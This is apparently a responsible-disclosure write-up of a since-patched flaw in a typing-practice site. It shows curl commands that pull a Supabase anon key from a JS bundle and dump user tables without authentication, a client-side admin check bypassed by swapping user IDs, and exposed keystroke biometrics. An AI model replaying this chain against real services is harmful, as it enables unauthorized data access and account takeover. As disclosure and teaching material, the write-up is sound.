From Regular User to Super Admin: Hacking codetyper.in

April 21, 2026

Step 1: Read the Bundle

I was interested in signing up for the platform, but it required an early access code. I typed in a bogus code and noticed zero network requests. Verification was client-side only. I checked the network tab, saw a 1.2MB JS bundle, and grepped it for the code. Instead, I found Supabase.

curl -sL "https://codetyper.in/assets/index-[HASH].js" -o bundle.js
wc -c bundle.js
# ~1.2 MB in size

# Supabase project URL
grep -oP 'const PS="[^"]+"' bundle.js
# Output: const PS="https://saqel..."

# Anon key (public, but opens the DB door)
grep -oP 'sb_publishable_[^"]+' bundle.js
# Output: sb_publishable_7uDF...

# Tables referenced in client queries
grep -oP 'U\.from\("[^"]+"\)' bundle.js | sort -u
# U.from("admins")
# U.from("blog_posts")
# U.from("changelogs")
# U.from("ghost_recordings")
# U.from("keystroke_events")
# U.from("leaderboard_entries")
# U.from("profiles")
# U.from("sessions")
# ...

Reward: Supabase URL, anon key, and a full table map.


Step 2: Dump the Database (No Auth Required)

With the anon key, I queried tables that should have required authentication.

Profiles Table

curl -sL "https://saqel.../rest/v1/profiles?select=*" \
  -H "apikey: sb_publishable_7uDF..."

Output (truncated):

[
  {"id":"d.3c8cb9-...","username":"iamdark...","profile_public":true},
  {"id":"c6e.7863-...","username":"ragecod...","profile_public":true},
  {"id":"1.9f3e9e-...","username":"m.as....","profile_public":false},
  ... 50 more records
]

Result: All 53 user profiles returned, including users with profile_public=false.

Sessions Table

curl -sL "https://saqel.../rest/v1/sessions?select=*&limit=2" \
  -H "apikey: sb_publishable_7uDF..."

Output:

[
  {"id":"ff5eaf89-...","user_id":"bef5f...","gross_wpm":158.0,
   "accuracy":13.8,"deft_score":8.0,"duration_ms":45134},
  ...
]

Returned user IDs, WPM, accuracy, and duration. These user IDs enabled the IDOR attack in Step 4.


Step 3: Identify an Admin

The admins table itself had RLS enabled, but the leaked profiles data gave enough metadata to infer admin identities based on activity patterns and account age. From the profile dump, I extracted a high-confidence admin user ID.

Admin user ID: f1f55801-...

My own test account (now deleted):

Attacker user ID: ed1a1746-...

Step 4: IDOR, the path to becoming an admin

The app checks admin privileges client-side like this:

U.from("admins").select("*").eq("user_id", r.user.id).maybeSingle()

It queries the admins table using the user ID from the Supabase session object. The problem: the app trusts the client-supplied user ID without server-side validation.

The Exploit

  1. Log in as a normal user (attacker_test) and obtain a valid session.
  2. Intercept the authenticated request to /admin using Burp Suite Community Edition.
  3. In the request context, the app builds the query using r.user.id. By substituting my user ID (ed1a1746-...) with the admin's user ID (f1f55801-...), the query becomes:
    U.from("admins").select("*").eq("user_id", "f1f55801-...").maybeSingle()
  4. The DB returns the admin's role record (super).
  5. The app sets isSuper = true.
  6. Full admin panel access granted.

Impact: Read/write access to all user data, blog posts, changelogs, roadmap items, sessions, and admin user management.

Severity: Critical (CVSS 9.7)


Step 5: Biometric Data Exposure

The bundle referenced two sensitive tables:

// keystroke_events
.select("expected_key, key, is_error, time_since_last_ms, session_id")
.insert(m.slice(w, w+500))  // batches of 500

// ghost_recordings
.insert({
  session_id: u.id,
  snippet_id: a.id,
  user_id: s.user.id,
  recording_json: { keystrokes: d },
  deft_score: r.deftScore,
  gross_wpm: r.grossWpm,
  accuracy: r.grossAccuracy
})

keystroke_events stores every key press and millisecond timing between them.

ghost_recordings stores full replay data including the actual code snippet content.

With the RLS bypass confirmed, these were accessible without authentication.

Severity: Critical. Biometric data exposure.


The Full Chain

1. curl the JS bundle          → URL, key, table names
2. curl profiles table         → 53 user records + 1 admin ID
3. Register account            → valid JWT session
4. Intercept /admin request    → swap user_id for admin_id
5. Query admins table          → returns "super" role
6. Access /admin/*             → full dashboard control
7. Query keystroke_events      → download typing biometrics

Vendor Response

The team responded promptly and professionally. Here's a brief snippet of their response:

"Thank you again for taking the time to conduct this assessment and practice responsible disclosure. I'm writing to let you know that we have deployed a comprehensive security patch, and the critical vulnerabilities you outlined have been remediated."

If you're reading this, all vulnerabilities described here have been remediated.


Disclosure Timeline

DateMilestone
April 17, 2026Initial passive reconnaissance
April 18, 2026Active testing; RLS bypass and IDOR confirmed
April 19, 2026Deep bundle analysis; findings reported to vendor
April 20, 2026Vendor confirms patches deployed
April 21, 2026Write-up published

TL;DR


All sensitive information was redacted. Testing performed with explicit authorization. No data was modified or destroyed. In the event that I missed something, please contact me by one of the methods on the main page of my site.